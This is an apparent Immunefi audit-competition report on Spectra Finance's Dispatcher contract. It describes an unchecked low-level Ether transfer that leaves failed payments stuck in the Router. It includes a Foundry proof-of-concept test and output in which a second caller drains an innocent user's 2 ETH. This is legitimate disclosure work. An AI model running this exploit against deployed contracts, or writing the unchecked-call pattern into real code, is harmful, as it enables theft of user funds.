#44173 [SC-Low] Unchecked Low-Level Call in TRANSFER_NATIVE in `Dispatcher::_dispatch` Can Lead to Locked Ether and Potential Theft
Submitted on Apr 17th 2025 at 13:38:42 UTC by @roccomania for Audit Comp | Spectra Finance
Report ID: #44173
Report Type: Smart Contract
Report severity: Low
Target: https://github.com/immunefi-team/Spectra-Audit-Competition/blob/main/src/router/Dispatcher.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The Dispatcher contract, intended to be inherited by the Router, handles native Ether transfers using a low-level .call
without verifying the success of the operation. If a user attempts to send Ether via the TRANSFER_NATIVE
command to a recipient contract unable to receive Ether (e.g., lacking a receive/fallback function or reverting on receipt), the transfer will fail silently. The Ether will remain trapped within the inheriting Router contract, making it inaccessible to the intended recipient and vulnerable to theft by any subsequent user who calls the execute
function with a TRANSFER_NATIVE
command directed to an address capable of receiving Ether.
Vulnerability Details
Within the _dispatch
function in Dispatcher.sol
, the TRANSFER_NATIVE
command is handled as follows:
// src/router/Dispatcher.sol
} else if (command == Commands.TRANSFER_NATIVE) {
(address recipient, uint256 amount) = abi.decode(_inputs, (address, uint256));
// @audit-issue if call is sent to recipient that does not have receive or callback,
// funds will get stucked in the router inheriting the contract.
// Then an attacker can later call execute and set himself as recipient to steal the fund
(bool success,) = payable(recipient).call{value: amount}("");
} else {
revert InvalidCommandType(command);
}
The critical issue lies in the line:
(bool success,) = payable(recipient).call{value: amount}("");
This code performs a raw call to send Ether but crucially ignores the success boolean returned by the call. According to Solidity documentation and best practices, the return value of low-level calls like .call
, .delegatecall
, and .staticcall
must always be checked.
If the recipient address is a contract that:
Does not have a
payable fallback
function.Does not have a
receive()
function.Has a
receive()
orpayable fallback
function that reverts (e.g., due to internal logic, insufficient gas forwarded, etc.).
Then the .call
will return success = false
. Because this return value is not checked, the _dispatch
function (and therefore the execute
function in the inheriting Router) will continue execution as if the transfer succeeded. However, the Ether (amount
) will not have been sent to the recipient. Instead, it remains held by the contract that executed the code – the Router contract instance.
Impact Details
The immediate impact is that the intended Ether transfer fails silently, and the funds become locked within the Router contract. The original sender might believe the transfer succeeded, while the intended recipient never receives the funds.
The more severe impact is the potential for theft. Since the Ether is now held by the Router contract, any user can subsequently call the execute
function on the Router. They can include a TRANSFER_NATIVE
command in their sequence, specifying:
An amount up to the Ether balance held by the Router, and
A recipient address they control (or any address that can receive Ether).
Because the Router now holds the previously locked Ether, this subsequent transfer will succeed, effectively draining the locked funds to an address chosen by the second caller.
This constitutes a direct loss of funds originally intended for a specific recipient, which are instead stolen by an opportunistic user interacting with the Router later. The severity is high as it allows any user to steal Ether that becomes inadvertently locked in the contract due to failed transfers.
Proof of Concept
Create a contract without a receive or callback, and add it to
test/Router/RouterTest.t.sol
contract VulnerableContract{
function isNaive() public pure returns (bool){
return true;
}
}
Create a new test function to the same file
function testNativeTransferBug() public {
address innocentUser = makeAddr("INNOCENT_USER");
address attacker = makeAddr("ATTACKER");
// address recipient = makeAddr("RECIPIENT");
VulnerableContract vulnerableContract = new VulnerableContract();
uint256 amount = 2e18;
deal(innocentUser, amount);
bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.TRANSFER_NATIVE)));
bytes[] memory inputs = new bytes[](1);
inputs[0] = abi.encode(address(vulnerableContract), amount);
uint256 etherBalOfInnocentUserBefore = innocentUser.balance;
uint256 etherBalOfAttackerBefore = attacker.balance;
uint256 etherBalOfVulnerableContractBefore = address(vulnerableContract).balance;
uint256 etherBalOfRouterBefore = address(router).balance;
console.log("Innocent User Balance Before", etherBalOfInnocentUserBefore);
console.log("Attacker Balance Before", etherBalOfAttackerBefore);
console.log("VulnerableContract Balance Before", etherBalOfVulnerableContractBefore);
console.log("Router Balance Before", etherBalOfRouterBefore);
vm.prank(innocentUser);
router.execute{value:amount}(commands, inputs);
uint256 etherBalOfInnocentUserAfterInnocentUser = innocentUser.balance;
uint256 etherBalOfVulnerableContractAfterInnocentUser = address(vulnerableContract).balance;
uint256 etherBalOfAttackerAfterInnocentUser = attacker.balance;
uint256 etherBalOfRouterAfterInnocentUser = address(router).balance;
console.log("Innocent User Balance After Innocent User", etherBalOfInnocentUserAfterInnocentUser);
console.log("Attacker Balance After Innocent User", etherBalOfAttackerAfterInnocentUser);
console.log("VulnerableContract Balance After Innocent User", etherBalOfVulnerableContractAfterInnocentUser);
console.log("Router Balance After Innocent User", etherBalOfRouterAfterInnocentUser);
inputs[0] = abi.encode(attacker, amount);
vm.prank(attacker);
router.execute(commands, inputs);
uint256 etherBalOfInnocentUserAfterAttacker = innocentUser.balance;
uint256 etherBalOfVulnerableContractAfterAttacker = address(vulnerableContract).balance;
uint256 etherBalOfAttackerAfterAttacker = attacker.balance;
uint256 etherBalOfRouterAfterAttacker = address(router).balance;
console.log("Innocent User Balance After", etherBalOfInnocentUserAfterAttacker);
console.log("Attacker Balance After", etherBalOfAttackerAfterAttacker);
console.log("VulnerableContract Balance After", etherBalOfVulnerableContractAfterAttacker);
console.log("Router Balance After", etherBalOfRouterAfterAttacker);
}
Now run the test with
forge test --mt testNativeTransferBug -vvv
Here is the result
Innocent User Balance Before 2000000000000000000
Attacker Balance Before 0
VulnerableContract Balance Before 0
Router Balance Before 0
Innocent User Balance After Innocent User 0
Attacker Balance After Innocent User 0
VulnerableContract Balance After Innocent User 0
Router Balance After Innocent User 2000000000000000000
Innocent User Balance After 0
Attacker Balance After 2000000000000000000
VulnerableContract Balance After 0
Router Balance After 0
Was this helpful?